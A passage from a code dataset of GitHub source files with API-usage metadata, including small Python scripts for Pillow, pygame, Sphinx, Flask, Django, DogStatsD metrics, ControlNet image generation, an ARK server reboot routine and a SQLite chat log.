"line_number": 121, "usage_type": "name"}, {"api_name": "django.core.cache.cache.delete", "line_number": 123, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 123, "usage_type": "name"}, {"api_name": "app.models.AXFUser.objects.get", "line_number": 124, "usage_type": "call"}, {"api_name": "app.models.AXFUser.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "app.models.AXFUser", "line_number": 124, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 127, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 127, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 128, "usage_type": "call"}, {"api_name": "app.models.MainWheel.objects.all", "line_number": 132, "usage_type": "call"}, {"api_name": "app.models.MainWheel.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "app.models.MainWheel", "line_number": 132, "usage_type": "name"}, {"api_name": "app.models.MainNav.objects.all", "line_number": 133, "usage_type": "call"}, {"api_name": "app.models.MainNav.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "app.models.MainNav", "line_number": 133, "usage_type": "name"}, {"api_name": "app.models.MainMustBuy.objects.all", "line_number": 134, "usage_type": "call"}, {"api_name": "app.models.MainMustBuy.objects", "line_number": 134, "usage_type": "attribute"}, {"api_name": "app.models.MainMustBuy", "line_number": 134, "usage_type": "name"}, {"api_name": "app.models.MainShop.objects.all", "line_number": 135, "usage_type": "call"}, {"api_name": "app.models.MainShop.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "app.models.MainShop", "line_number": 135, "usage_type": "name"}, {"api_name": "app.models.MainShow.objects.all", "line_number": 140, "usage_type": "call"}, {"api_name": "app.models.MainShow.objects", "line_number": 140, "usage_type": "attribute"}, {"api_name": "app.models.MainShow", "line_number": 140, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 152, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 156, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 156, "usage_type": "call"}, {"api_name": "app.models.FoodType.objects.all", "line_number": 164, "usage_type": "call"}, {"api_name": "app.models.FoodType.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "app.models.FoodType", "line_number": 164, "usage_type": "name"}, {"api_name": "app.models.Goods.objects.filter", "line_number": 165, "usage_type": "call"}, {"api_name": "app.models.Goods.objects", "line_number": 165, "usage_type": "attribute"}, {"api_name": "app.models.Goods", "line_number": 165, "usage_type": "name"}, {"api_name": "app.views_constant.ALL_TYPE", "line_number": 167, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_TOTAL", "line_number": 172, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_PRICE_UP", "line_number": 174, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_PRICE_DOWN", "line_number": 176, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_SALE_UP", "line_number": 178, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_SALE_DOWN", "line_number": 180, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_TOTAL", "line_number": 191, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_PRICE_UP", "line_number": 192, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_PRICE_DOWN", "line_number": 193, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_SALE_UP", "line_number": 194, "usage_type": "name"}, {"api_name": "app.views_constant.ORDER_SALE_DOWN", "line_number": 195, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 210, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.filter", "line_number": 214, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 214, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 214, "usage_type": "name"}, {"api_name": "app.views_constant.get_total_price", "line_number": 222, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 225, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.filter", "line_number": 230, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 230, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 230, "usage_type": "name"}, {"api_name": "app.models.Cart", "line_number": 235, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 245, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.get", "line_number": 250, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 250, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 250, "usage_type": "name"}, {"api_name": "app.models.Cart.objects.filter", "line_number": 254, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 254, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 254, "usage_type": "name"}, {"api_name": "app.views_constant.get_total_price", "line_number": 261, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 264, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.get", "line_number": 269, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 269, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 269, "usage_type": "name"}, {"api_name": "app.views_constant.get_total_price", "line_number": 285, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 287, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.filter", "line_number": 293, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 293, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 293, "usage_type": "name"}, {"api_name": "app.views_constant.get_total_price", "line_number": 301, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 304, "usage_type": "call"}, {"api_name": "app.models.Cart.objects.filter", "line_number": 308, "usage_type": "call"}, {"api_name": "app.models.Cart.objects", "line_number": 308, "usage_type": "attribute"}, {"api_name": "app.models.Cart", "line_number": 308, "usage_type": "name"}, {"api_name": "app.models.Order", "line_number": 310, "usage_type": "call"}, {"api_name": "app.views_constant.get_total_price", "line_number": 312, "usage_type": "call"}, {"api_name": "app.models.OrderGoods", "line_number": 316, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 328, "usage_type": "call"}, {"api_name": "app.models.Order.objects.get", "line_number": 333, "usage_type": "call"}, {"api_name": "app.models.Order.objects", "line_number": 333, "usage_type": "attribute"}, {"api_name": "app.models.Order", "line_number": 333, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 340, "usage_type": "call"}]} {"seq_id": "16709004228", "text": "# -*- coding: utf-8 -*-\n\nfrom PIL import Image, ImageFilter\n\nimg = Image.open('test.jpg')\n\nw, h = img.size\nprint('%s x %s' %(w, h))\nimg.thumbnail((w//2, h//2))\nprint('Resize image to: %sx%s' % (w//2, h//2))\n# 把缩放后的图像用jpeg格式保存:\nimg.save('thumbnail.jpg', 'jpeg')\n\nimg2 = img.filter(ImageFilter.BLUR)\nimg2.save('blur.jpg', 'jpeg')\n\n\n", "repo_name": "bililioo/LearnPython", "sub_path": "learn_pillow.py", "file_name": "learn_pillow.py", "file_ext": "py", "file_size_in_byte": 354, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PIL.Image.open", "line_number": 5, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 5, "usage_type": "name"}, {"api_name": "PIL.ImageFilter.BLUR", "line_number": 14, "usage_type": "attribute"}, {"api_name": "PIL.ImageFilter", "line_number": 14, "usage_type": "name"}]} {"seq_id": "14003246055", "text": "#\n# Nathan Eduvala\n# CPSC 386-01\n# 2021-11-29\n# nathaneduvala@csu.fullerton.edu\n# @Itsnotjustnate\n#\n# Lab 02\n#\n\nimport pygame\nimport time\n \nclass Score:\n def __init__(self, surface, game):\n self.font = pygame.font.SysFont('calibri', 20)\n self._game = game\n self._surface = surface\n\n def display_score(self):\n self.score = self.font.render(f\"Score: {self._game.snake._length}\", True, (128, 0, 0))\n self._surface.blit(self.score, (300, 10))\n pygame.display.flip()\n", "repo_name": "Itsnotjustnate/Snake_Simplified", "sub_path": "score.py", "file_name": "score.py", "file_ext": "py", "file_size_in_byte": 513, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.font.SysFont", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "40410564483", "text": "# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\nimport os\nimport sys\nimport subprocess\nimport datetime\n\nsys.path.insert(0, os.path.abspath('../src/'))\n\n\n# -- Project information -----------------------------------------------------\nnow = datetime.datetime.now()\n\nproject = 'hyperimpute'\nauthor = 'Bogdan Cebere'\ncopyright = f\"{now.year}, {author}\"\n\n\nsubprocess.run(\n [\n \"sphinx-apidoc\",\n \"--ext-autodoc\",\n \"--ext-doctest\",\n \"--ext-mathjax\",\n \"--ext-viewcode\",\n \"-e\",\n \"-T\",\n \"-M\",\n \"-F\",\n \"-P\",\n \"-f\",\n \"-o\",\n \"generated\",\n \"../src/hyperimpute/\",\n ]\n )\n\nemojis = [\":rocket:\", \":key:\", \":cyclone:\", \":fire:\", \":zap:\", \":hammer:\", \":boom:\"]\n\nwith open(\"../README.md\", \"rt\") as fin:\n with open(\"README.md\", \"wt\") as fout:\n for line in fin:\n for emoji in emojis:\n line = line.replace(emoji, \"|\" + emoji + \"|\")\n print(line)\n fout.write(line)\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.autosummary\",\n \"sphinx.ext.napoleon\",\n \"m2r2\",\n \"sphinxemoji.sphinxemoji\",\n]\n\nautodoc_default_options = {\n \"members\": True,\n \"inherited-members\": False,\n \"inherit_docstrings\": False,\n}\n\nadd_module_names = False\nautosummary_generate = True\n\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = \"sphinx_rtd_theme\"\nsphinxemoji_style = 'twemoji'\n\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n", "repo_name": "vanderschaarlab/hyperimpute", "sub_path": "docs/conf.py", "file_name": "conf.py", "file_ext": "py", "file_size_in_byte": 2940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 120, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.insert", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 29, "usage_type": "call"}]} {"seq_id": "33474367300", "text": "from collections import defaultdict\n\n\nclass DogstatsdCollector(object):\n \"\"\"\n A singleton for collecting DogStatsD-style metrics with tags. Collects\n metrics in-memory and then emits them when flush() is called. Each series\n (metric and all combination of tag key-value pairs) is emitted separately.\n\n :type dogstatsd: datadog.dogstatsd.base.DogStatsD\n :param dogstatsd: The DogStatsD object to use for emitting metrics.\n\n :type base_tags: list\n :param base_tags: A list of tags to be included on every metric emitted from\n the collector. Should be of the form ['tag:value', ...]\n \"\"\"\n\n #: The DogStatsD metrics supported by the collector.\n SUPPORTED_DOGSTATSD_METRICS = ['histogram', 'increment']\n\n def __init__(self, dogstatsd, base_tags=None):\n self.dogstatsd = dogstatsd\n for metric in self.SUPPORTED_DOGSTATSD_METRICS:\n setattr(\n self,\n '_{}s'.format(metric),\n defaultdict(lambda: defaultdict(float))\n )\n if base_tags is None:\n base_tags = []\n self.base_tags = base_tags\n\n def increment(self, metric, value=1, tags=None):\n \"\"\"\n Track a DogStatsD counter metric.\n \"\"\"\n self._record_metric('increment', metric, value, tags)\n\n def histogram(self, metric, value, tags=None):\n \"\"\"\n Track a DogStatsD histogram metric.\n \"\"\"\n self._record_metric('histogram', metric, value, tags)\n\n def flush(self):\n \"\"\"\n Flush all metrics, emitting each metric once per series (combination of\n tag key-value pairs).\n \"\"\"\n for metric_type in self.SUPPORTED_DOGSTATSD_METRICS:\n self._flush_metric(metric_type)\n\n def _flush_metric(self, metric_type):\n container = self._get_metric_container(metric_type)\n dogstatsd_method = getattr(self.dogstatsd, metric_type)\n for metric, series in container.items():\n for series, value in series.items():\n series = list(series)\n series.extend(self.base_tags)\n dogstatsd_method(metric, value, tags=sorted(series))\n\n def _record_metric(self, metric_type, metric, value, tags=None):\n if tags is None:\n tags = []\n key = frozenset(tags)\n self._get_metric_container(metric_type)[metric][key] += value\n\n def _get_metric_container(self, metric_type):\n attr = '_{}s'.format(metric_type)\n return getattr(self, attr)\n", "repo_name": "roverdotcom/dogstatsd-collector", "sub_path": "src/dogstatsd_collector/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 2527, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 27, "usage_type": "call"}]} {"seq_id": "25117363038", "text": "import pygame\nfrom math import pi, radians, cos, sin\n\n\nclass Radar():\n def __init__(self, radarImg):\n \n # Imagem base que não vai ser alterada\n self._baseRadarImg = radarImg\n self._radarRect = self._baseRadarImg.get_rect()\n \n # Imagem que vai sofrer as alterações para depois ser dezenhada na Surface.\n self._radarImg = None\n \n # Uma vez que o x e y que chegam aqui são o centro do corpo do robot e o radar anda mais ou menos\n # em volta do corpo, é preciso defenir um raio para calcular a sua posição \n self.RADAR_ORBIT_RADIUS = 49\n\n\n def update_radar(self, x, y, raDeg, gDeg):\n \"\"\"\n Actualiza a posição e a direcção do radar do robot.\n \"\"\"\n # O '2.02' serve para adiantar a posição na circunferencia onde se movimenta com o objectivo de acertar a\n # posição com o braço da arma onde deve ficar\n newCenter = ( self.RADAR_ORBIT_RADIUS * cos(radians(gDeg) + 2.02) + x,\n self.RADAR_ORBIT_RADIUS * sin(radians(gDeg) + 2.02) + y )\n \n self._radarImg = pygame.transform.rotate(self._baseRadarImg, -raDeg)\n self._radarRect = self._radarImg.get_rect()\n self._radarRect.center = newCenter\n\n\n def blit_radar(self):\n self.screen.blit(self._radarImg, self._radarRect)\n\n\n\n\n", "repo_name": "BatOnBots-ML/batonbots-ml", "sub_path": "battle/robot/radar.py", "file_name": "radar.py", "file_ext": "py", "file_size_in_byte": 1359, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "math.cos", "line_number": 26, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 26, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 27, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.transform.rotate", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "3760441597", "text": "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\nimport torch\n\nfrom pydantic import BaseModel\n\ncontrolnet = ControlNetModel.from_pretrained(\n \"lllyasviel/sd-controlnet-canny\", torch_dtype=torch.float16\n)\n\npipe = StableDiffusionControlNetPipeline.from_pretrained(\n \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n)\n\npipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)\n\n# Remove if you do not have xformers installed\n# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers\n# for installation instructions\npipe.enable_xformers_memory_efficient_attention()\n\npipe.enable_model_cpu_offload()\n\n\ncontrol_net_scribble = ControlNetModel.from_pretrained(\n \"lllyasviel/sd-controlnet-scribble\", torch_dtype=torch.float16\n)\n\ncontrol_net_pipe = StableDiffusionControlNetPipeline.from_pretrained(\n \"runwayml/stable-diffusion-v1-5\", controlnet=control_net_scribble, safety_checker=None, torch_dtype=torch.float16\n)\n\ncontrol_net_pipe.scheduler = UniPCMultistepScheduler.from_config(control_net_pipe.scheduler.config)\ncontrol_net_pipe.enable_xformers_memory_efficient_attention()\n\ncontrol_net_pipe.enable_model_cpu_offload()\n\nNUM_EXCESS_BYTES = 23\nNUM_INFERENCE_STEPS = 20\n\n\nclass BaseData(BaseModel):\n username: str\n\n\nclass ImageReq(BaseData):\n prompt: str\n\n\nclass VoicePrompt(BaseData):\n text: str\n\n\nclass AiAudioResponse(BaseModel):\n content: str\n success: bool\n\nclass UserPortrait(BaseData):\n portrait_type: str\n", "repo_name": "BYU-PCCL/plc_sd_api", "sub_path": "config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "diffusers.ControlNetModel.from_pretrained", "line_number": 6, "usage_type": "call"}, {"api_name": "diffusers.ControlNetModel", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 7, "usage_type": "attribute"}, {"api_name": "diffusers.StableDiffusionControlNetPipeline.from_pretrained", "line_number": 10, "usage_type": "call"}, {"api_name": "diffusers.StableDiffusionControlNetPipeline", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 11, "usage_type": "attribute"}, {"api_name": "diffusers.UniPCMultistepScheduler.from_config", "line_number": 14, "usage_type": "call"}, {"api_name": "diffusers.UniPCMultistepScheduler", "line_number": 14, "usage_type": "name"}, {"api_name": "diffusers.ControlNetModel.from_pretrained", "line_number": 24, "usage_type": "call"}, {"api_name": "diffusers.ControlNetModel", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 25, "usage_type": "attribute"}, {"api_name": "diffusers.StableDiffusionControlNetPipeline.from_pretrained", "line_number": 28, "usage_type": "call"}, {"api_name": "diffusers.StableDiffusionControlNetPipeline", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 29, "usage_type": "attribute"}, {"api_name": "diffusers.UniPCMultistepScheduler.from_config", "line_number": 32, "usage_type": "call"}, {"api_name": "diffusers.UniPCMultistepScheduler", "line_number": 32, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 41, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 53, "usage_type": "name"}]} {"seq_id": "21188451197", "text": "from flask import Flask, jsonify, request, json\napp = Flask(__name__)\n\nnum = 1\nuserList = {}\n\n@app.route('/')\ndef hello():\n return \"Hello World!\"\n\n\n@app.route('/users', methods=['POST'])\ndef add_user():\n global num\n users = {\n \"id\": num,\n \"name\": request.form[\"name\"]\n }\n userList[str(num)] = request.form[\"name\"]\n num = num + 1\n return jsonify(users), 201\n\n\n@app.route('/users/', methods=['GET'])\ndef get_user(id):\n if id in userList:\n users = {\n \"id\": id,\n \"name\": userList[id]\n }\n return jsonify(users)\n else:\n return \"User doesn't exist.\", 204\n \n \n@app.route(\"/users/\", methods=[\"DELETE\"])\ndef delete_user(id):\n del userList[id]\n return \"\", 204\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "YimZhai/cmpe273-spring18", "sub_path": "quizzes/quizz2/hello.py", "file_name": "hello.py", "file_ext": "py", "file_size_in_byte": 812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 2, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 31, "usage_type": "call"}]} {"seq_id": "43457476374", "text": "from django import forms\n\nfrom .models import Page\n\nfrom domains.models import Domain\n\nimport re\n\n\nclass PageRegistrationForm(forms.ModelForm):\n error_messages = {\n 'invalid_pageID': \"Please use alphabets and numbers only.\",\n 'invalid_domainID': \"The Domain ID cannot be found.\",\n }\n\n referenceID = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control input-lg',\n 'placeholder': \"Your Parent Domain's ID\"}))\n\n class Meta:\n model = Page\n fields = [\"name\", \"pageID\", \"description\"]\n widgets = {\n 'name': forms.TextInput(attrs={'class': 'form-control input-lg', 'placeholder': \"Your Page's Name\"}),\n 'pageID': forms.TextInput(attrs={'class': 'form-control input-lg',\n 'placeholder': 'An Unique Identifier for Your Page'}),\n 'description': forms.Textarea(\n attrs={'class': 'form-control input-lg', 'placeholder': 'A Brief Description of Your Page'})\n }\n\n def clean_pageID(self):\n pageId = self.cleaned_data.get(\"pageID\")\n if re.match('^[a-zA-Z0-9]+$', pageId) is not None:\n return pageId\n else:\n raise forms.ValidationError(\n self.error_messages['invalid_pageID'],\n code='invalid_pageID',\n )\n\n def clean_referenceID(self):\n domainID = self.cleaned_data.get(\"referenceID\")\n try:\n domain = Domain.objects.get(domainID=domainID)\n except Exception:\n raise forms.ValidationError(\n self.error_messages['invalid_domainID'],\n code='invalid_domainID',\n )\n return domain\n", "repo_name": "mckuok/megaphonev2", "sub_path": "pages/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.forms.ModelForm", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 16, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Page", "line_number": 20, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 23, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 23, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 24, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 26, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 26, "usage_type": "name"}, {"api_name": "re.match", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 35, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 35, "usage_type": "name"}, {"api_name": "domains.models.Domain.objects.get", "line_number": 43, "usage_type": "call"}, {"api_name": "domains.models.Domain.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "domains.models.Domain", "line_number": 43, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 45, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 45, "usage_type": "name"}]} {"seq_id": "39829879656", "text": "from ark_manager import *\nimport time\nfrom random import choice\n\n\n\nfrom locks import Lock\n\nimport argparse\nparser = argparse.ArgumentParser(description='Restart ark server.')\nparser.add_argument(\"--message\", dest='message', default=None, help=\"Message to add to broadcast, usually reason for restart.\")\nargs = parser.parse_args()\n\nif args.message:\n args.message = args.message.strip()\n if not args.message.endswith(\".\"):\n args.message = args.message + \". \"\n else:\n args.message = args.message + \" \"\n\ndef prompt_sudo():\n ret = 0\n if os.geteuid() != 0:\n msg = \"[sudo] password for %u:\"\n ret = subprocess.check_call(\"sudo -v -p '%s'\" % msg, shell=True)\n return ret\n\n\n\nif prompt_sudo() != 0:\n log.warning(\"Can't run reboot script, need root\\sudo access.\")\n sys.exit()\n\n\n\nlock = Lock()\nif lock.is_locked:\n log.debug(\"Another script already running, exit...\")\n sys.exit()\n\n\n\nprint(\"Starting...\")\nlog.info(\"Admin initialized restart.\")\nlock.lock(\"Reboot host\")\nbroadcast(f\"Cluster will reboot in 60 minutes. {args.message}{choice(random_funny_bits)}\", True, True)\ntime.sleep(30 * 60)\nbroadcast(f\"Cluster will reboot in 30 minutes. {args.message}{choice(random_funny_bits)}\", True, True)\ntime.sleep(15 * 60)\nbroadcast(f\"Cluster will reboot in 15 minutes. {args.message}{choice(random_funny_bits)}\", True, True)\ntime.sleep(10 * 60)\nbroadcast(f\"Cluster will reboot in 5 minutes. {args.message}{choice(random_funny_bits)}\", True, True)\ntime.sleep(5 * 60)\nbroadcast(f\"Cluster will reboot in 10 seconds. {choice(random_funny_bits)}\", True, True)\nfor i in range(1, 10):\n broadcast(f\"Restart in {10 - i}...\")\nprint(\"Remove lock...\")\nlock.unlock()\nprint(\"Restarting...\")\nreboot_server()\n\n", "repo_name": "Nixellion/Arkbot", "sub_path": "ark_reboot_host.py", "file_name": "ark_reboot_host.py", "file_ext": "py", "file_size_in_byte": 1733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "locks.Lock", "line_number": 36, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 46, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 48, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 51, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 52, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 54, "usage_type": "call"}]} {"seq_id": "39997280953", "text": "import bottle\nimport sqlite3\n\nclass talkDB:\n\tdef __init__(self,dbpath):\n\t\tself.conn = sqlite3.connect(dbpath)\n\t\tself.cur = self.conn.cursor()\n\t\tself.count = 0\n\n\tdef create(self):\n\t\tsql = '''CREATE TABLE IF NOT EXISTS talk (\n\t\t\tid INTEGER,\n\t\t\tmessage TEXT, \n\t\t\treply TEXT,\n\t\t\tPRIMARY KEY (id));'''\n\t\tself.cur.execute(sql)\n\t\tself.conn.commit()\n\t\n\tdef get_latest(self,n):\n\t\tself.get_count()\n\t\tif self.count > n:\n\t\t\t\"\"\"\n\t\t\tsql = '''SELECT (message, reply) FROM talk\n\t\t\tORDER BY id DESC\n\t\t\tLIMIT {n};\n\t\t\t'''.format(n=n)\n\t\t\t\"\"\"\n\t\t\tsql = '''SELECT * FROM talk ORDER BY id DESC LIMIT {n}'''.format(n=n)\n\t\telif self.count == 0:\n\t\t\treturn []\n\t\telse:\n\t\t\tsql = '''SELECT * FROM talk ORDER BY id DESC LIMIT {n}\n\t\t\t'''.format(n=self.count)\n\t\tself.cur.execute(sql)\n\t\tt = self.cur.fetchall()\n\t\treturn t\n\n\tdef get_count(self):\n\t\tsql = '''SELECT count(*) FROM talk'''\n\t\tself.cur.execute(sql)\n\t\tself.conn.commit()\n\t\tself.count = self.cur.fetchall()[0][0]\n\n\tdef insert(self,message,reply):\n\t\tsql = '''INSERT INTO talk VALUES (?,?,?)'''\n\t\tself.get_count()\n\t\tself.cur.execute(sql,(self.count+1,message,reply))\n\t\tself.conn.commit()\n", "repo_name": "jyukipann/JUKIBot_talkpage", "sub_path": "talk/db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 1109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sqlite3.connect", "line_number": 6, "usage_type": "call"}]} {"seq_id": "74494391584", "text": "import unicodedata\nimport re\nimport torch\nimport random\n\n\n# start and end tokens\nSOS_token = 0\nEOS_token = 1\n\nMAX_LENGTH = 10\nENG_PREFIXES = (\n \"i am \", \"i m \",\n \"he is\", \"he s \",\n \"she is\", \"she s \",\n \"you are\", \"you re \",\n \"we are\", \"we re \",\n \"they are\", \"they re \"\n)\n\n\ndef check_pair(p):\n return len(p[0].split(' ')) < MAX_LENGTH and \\\n len(p[1].split(' ')) < MAX_LENGTH and \\\n p[1].startswith(ENG_PREFIXES)\n\n\ndef filter_pairs(pairs):\n # file is english french, so must reverse when filtering\n return [p for p in pairs if check_pair(p)]\n\n\ndef prepare_data(lang1, lang2, simple_sentences=True):\n print('Loading data')\n with open(f'pytorch_tutorial/data/fra-eng/fra.txt') as f:\n pairs = [[normalizeString(s) for s in line.split('\\t')[:2]][::-1] for line in f]\n print(f\"example loaded pair {pairs[0]}\")\n print(f\"total sentance pairs in data : {len(pairs)}\")\n print('filtering data')\n if simple_sentences:\n filtered_pairs = filter_pairs(pairs)\n print(f\"Filtered sentence pairs in data : {len(filtered_pairs)}\")\n\n assert len(filter_pairs(filtered_pairs)) == len(filtered_pairs), \"nothing should escape filtering!\"\n l1 = Lang(lang1)\n l2 = 